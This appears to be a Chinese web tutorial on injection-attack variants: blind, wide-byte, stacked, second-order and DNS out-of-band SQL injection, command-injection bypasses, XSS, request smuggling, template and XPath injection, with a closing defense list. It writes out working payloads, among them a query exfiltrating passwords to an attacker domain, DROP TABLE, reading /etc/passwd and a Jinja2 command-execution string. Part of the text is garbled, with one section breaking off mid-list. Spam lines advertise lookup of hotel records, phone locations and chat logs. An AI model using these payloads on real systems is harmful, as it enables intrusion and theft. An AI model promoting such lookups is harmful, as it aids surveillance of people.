Web注入漏洞各类变形原理讲解
@ 查( 开房记录、手机定位 )
@ 查( 外卖地址、聊天记录 )
Web注入漏洞的本质是“数据与代码的边界模糊”。攻击者通过构造特殊的输入,让服务器将“恶意数据”当作“可执行代码”来解析。

随着防御技术(如WAF、预编译)的升级,注入攻击也演变出了各种“变形”形态。结合最新的搜索结果,我为你梳理了SQL注入、命令注入、XSS及新型注入的常见变形原理。
🗄️ SQL注入(SQLi)的进阶变形
当简单的 ' OR 1=1 被拦截时,攻击者会利用数据库特性或编码技巧进行绕过。
1. 盲注变形:看不见的“是/否”与“时间差”
当页面不再回显数据库错误信息时,攻击者无法直接看到结果,只能靠“猜”。
* 布尔盲注:通过页面内容的“正常”与“异常”来判断。
* 原理:构造 ' AND 1=1(页面正常)和 ' AND 1=2(页面异常)。攻击者逐位猜解数据库名,例如 AND ASCII(SUBSTRING(database(),1,1))>100。如果页面正常,说明首字母ASCII码大于100。
* 时间盲注:页面无变化,但通过响应时间判断。
* 原理:利用数据库的延时函数(如MySQL的 SLEEP(3) 或 PostgreSQL的 pg_sleep(3))。构造 ' AND IF(1=1, SLEEP(3), 0),如果页面加载延迟了3秒,说明条件成立。
2. 宽字节注入:吃掉反斜杠的“吞噬术”
这是针对 addslashes() 或 mysql_real_escape_string() 等转义函数的经典绕过。
* 原理:PHP在处理GBK编码时,%bf%27(縗')会被视为一个字符。
* 变形:攻击者输入 %bf%27,数据库将 %bf%5c(即 %bf + 转义后的 )解析为一个宽字符,从而“吃掉”了原本用来转义单引号的反斜杠,使单引号逃逸出来闭合SQL语句。
3. 堆叠注入:分号分隔的“连招”
* 原理:利用分号 ; 结束当前语句并开启新语句。
* 限制:需要后端使用支持多语句执行的函数(如PHP的 mysqli_multi_query)。
* 实战:输入 id=1; DROP TABLE users; --,一次性执行查询和删表操作。
4. 二次注入:潜伏的“特洛伊木马”
* 原理:攻击分两步。第一步注册时,输入包含恶意SQL片段的用户名(如 admin'#),后端转义后存入数据库(存为 admin'#)。第二步修改密码时,后端取出数据并拼接SQL,此时转义符被还原或抵消,导致注入生效。
5. 带外注入:利用DNS的“快递偷运”
当页面既无回显也不延时,攻击者利用数据库的文件读取或DNS解析功能,将数据“发送”到外部服务器。
* 原理:利用 LOAD_FILE() 或 INTO OUTFILE 访问UNC路径。
* 变形:构造 ' UNION SELECT LOAD_FILE(CONCAT('\', (SELECT password FROM users), '.hacker.sitea'))。数据库会尝试解析 密码内容.hacker.site 的域名,攻击者通过查看DNS日志即可获取密码。
💻 命令注入(RCE)的免杀变形
当系统过滤了空格、敏感命令(如 cat, ls)时,攻击者利用Shell特性绕过。
1. 拼接绕过:没有空格怎么办?
* 内联执行:使用 () 或反引号 代替空格,如 catIFS/etc/passwd($IFS 是Shell内部字段分隔符,默认包含空格)。
* 重定向:使用 绕过部分过滤器。
* Angular:滥用 bypassSecurityTrustHtml API,或利用模板注入 {{ constructor.constructor('alert(1)')() }}。
2. 原型链污染
* 原理:攻击者通过修改 JavaScript 对象的原型(proto),改变 DOM 元素的默认行为。
* 变形:注入 {"proto": {"innerHTML": ""}},导致页面所有使用该属性的元素触发 XSS。
🧩 其他新型注入变形
1. HTTP请求走私
* 原理:利用前端服务器(如反向代理)和后端服务器对HTTP请求头(特别是 Content-Length 和 Transfer-Encoding)解析的不一致。
* 危害:攻击者可以“ smuggle”一个恶意请求藏在正常请求后面,绕过安全检测,甚至劫持其他用户的会话。
2. 模板注入
* 原理:服务端模板引擎(如Jinja2, Freemarker)未对用户输入进行过滤。
* 变形:输入 {{7*7}} 若回显 49,则说明存在注入。攻击者可进一步调用系统对象,如 {{config.class.init.globals['os'].popen('id').read()}} 实现命令执行。
3. XPath注入
* 原理:针对XML数据库的攻击。通过构造 ' or '1'='1` 闭合XPath查询,绕过身份验证或提取数据。
🛡️ 总结与防御
注入漏洞的变形虽然层出不穷,但核心防御思路是一致的:
1. 使用预编译语句:彻底解决SQL注入(参数化查询)。
2. 输入验证与输出编码:对所有用户输入进行白名单校验,输出时根据上下文(HTML/JS/CSS)进行转义。
3. 最小权限原则:数据库账号不给 DROP/EXEC 权限,Web服务不以 Root 运行。
4. 统一字符集:强制使用 UTF-8,避免宽字节注入。
@ 查( 开房记录、手机定位 )
@ 查( 外卖地址、聊天记录 )
